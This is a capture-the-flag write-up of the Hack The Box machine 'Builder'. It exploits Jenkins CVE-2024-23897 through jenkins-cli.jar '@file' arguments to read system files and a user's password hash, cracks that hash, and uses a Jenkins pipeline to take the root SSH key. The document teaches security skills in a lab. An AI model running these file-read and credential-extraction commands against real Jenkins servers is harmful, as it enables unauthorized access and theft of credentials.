Buider HTB Write-up
Building your way to get root
INTRODUCTION
Hello, everyone. Welcome back to my infosec journey. I’m excited to share this write-up because it’s my first medium-difficulty machine. This time, I tried the machine after retirement, so I used the guided mode and the official write-up to help me with the root. I’m sharing this because it’s okay to use guided mode and write-ups. It will accelerate your progress and you will have a better understanding about the vulnerabilities and misconfigurations.
Builder
is a medium-difficulty Linux machine that features a Jenkins
instance. The Jenkins instance is vulnerable to the CVE-2024-23897
vulnerability that allows unauthenticated users to read arbitrary files on the Jenkins controller file system. An attacker can extract the username and password hash of the Jenkins user jennifer
. We'll use the credentials to log in to the remote Jenkins instance. Then, we'll exploit the encrypted SSH
key to obtain root access on the host machine. Let's get started!
ENUMERATION
As always, we must enumerate with Nmap to find open ports.
Nmap command: nmap -Pn -sCV -oN nmap-builder 10.10.11.10
Nmap results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
30/tcp filtered unknown
1187/tcp filtered alias
1417/tcp filtered timbuktu-srv1
8010/tcp filtered xmpp
8080/tcp open http Jetty 10.0.18
| http-robots.txt: 1 disallowed entry
|_/
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)
|_http-title: Dashboard [Jenkins]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can confirm that there are two TCP open ports.
- 22 is running SSH.
- 8080 is running a Jenkins instance.
Let’s take a look at the website.
We see a Jenkins dashboard, but it’s not logged yet. We need to find the credentials for this. The page shows us an important piece of information: the version that is running. It’s a little thing, but in most cases, it can be very harmful and compromise the entire infrastructure of a company. Let’s understand why.
A little research on Google and we can get the information we need to move forward. Jenkins 2.441 is vulnerable to a CVE-2024-23897
, an Arbitrary file read vulnerability through the CLI that can lead to RCE. Let's dive into how it works.
Jenkins has a built-in command line interface (CLI) to access Jenkins from a script or shell environment. Jenkins uses the args4j library to parse command arguments and options on the Jenkins controller when processing CLI commands. This command parser has a feature that replaces an @ character followed by a file path in an argument with the file’s contents (expandAtFiles). This feature is enabled by default and Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable it. This allows attackers to read arbitrary files on the Jenkins controller file system using the default character encoding of the Jenkins controller process.
The vulnerability is classified as critical, which is exactly what we need. This POC (proof of concept) uses jenkins-cli.jar to read arbitrary files.
Downloading the CLI
Download the CLI (command line interface) first. The official documentation says you can get it from our target machine. Use the command: wget 10.10.11.10:8080/jnlpJars/jenkins-cli.jar
.
It takes time to understand how to use it, but I had the official write-up in hand, so I was able to get it right away. If you consult the official write-up, you will notice that it uses the ‘help’ command in the command line. However, testing other commands will get you more results with the ‘connect-node’ command. We can see an example below:
Command used: java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.10.11.10:8080' connect-node "@/etc/passwd"
Results:
We can determine the home directory location by using “@/proc/self/environ” instead of “/etc/passwd.” Our target machine is using Docker
to run Jenkins, and the home directory is located in /var/jenkins_home
.
$ java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.10.11.10:8080' connect-node "@/proc/self/environ"
HOSTNAME=0f52c222a4cc<SNIP>HOME=/var/jenkins_home<SNIP>
We can now retrieve the user.txt
flag using java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.10.11.10:8080' connect-node "@/var/jenkins_home/user.txt"
.
Jenkins has a different directory structure. To proceed, we must install Jenkins ourselves and take a look at how it works. To do this, see the official documentation.
EXPLOITATION
Once the installation is complete, we can move on to our findings. We already know that the home directory is /var/jenkins_home. Inside the home directory, there is another directory named users
. There is one more directory with the name of our user, followed by a random number, and a file named users.xml
. In the users.xml file, we can clearly see the name of our /user_random-number
directory. Inside our directory is a file named config.xml
, which contains our password hash.
Now we can retrieve the user and hash of our target. First, let’s take a look at the users.xml file to see the user directory that has the config file.
We know the directory name: jennifer_12108429903186576833
. Let's read the config.xml file.
$ java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.10.11.10:8080' connect-node "@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml"
...
<SNIP>
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent " <SNIP>
...
We can now use the John The Ripper
program to decrypt Jennifer's hash.
Jenkins credentials — jennifer
: princess
Once we have the credentials, we can log into the Jenkins dashboard.
PRIVILEGE ESCALATION
Upon examining the environment, we find that there is a user root
with an SSH key stored on Jenkins.
We have an SSH agent
plugin installed, so we can craft a pipeline and run commands using SSH
.
Let’s hack! Here’s what we need to do:
- Create a new Pipeline item.
- At the Pipeline script section, use this command to read the SSH key for the root user:
3. Click Save
and then Build Now
. Look at the Console Output
of the build. Grab the SSH key, save it to a file, and use SSH to connect to the host machine as the root
user.
Console Output:
Gaining root access:
Once you have root access, don’t forget to get the /root/root.txt
file.
CONCLUSION
This machine was so interesting! I learned so much about Jenkins, Pipeline, and downloading the environment to understand all the functionalities. I hope you enjoy this write-up! If you do, please consider leaving some claps by hitting the clapping button. You can also follow to not lose any future content.
Thank you for your reading! I see you soon!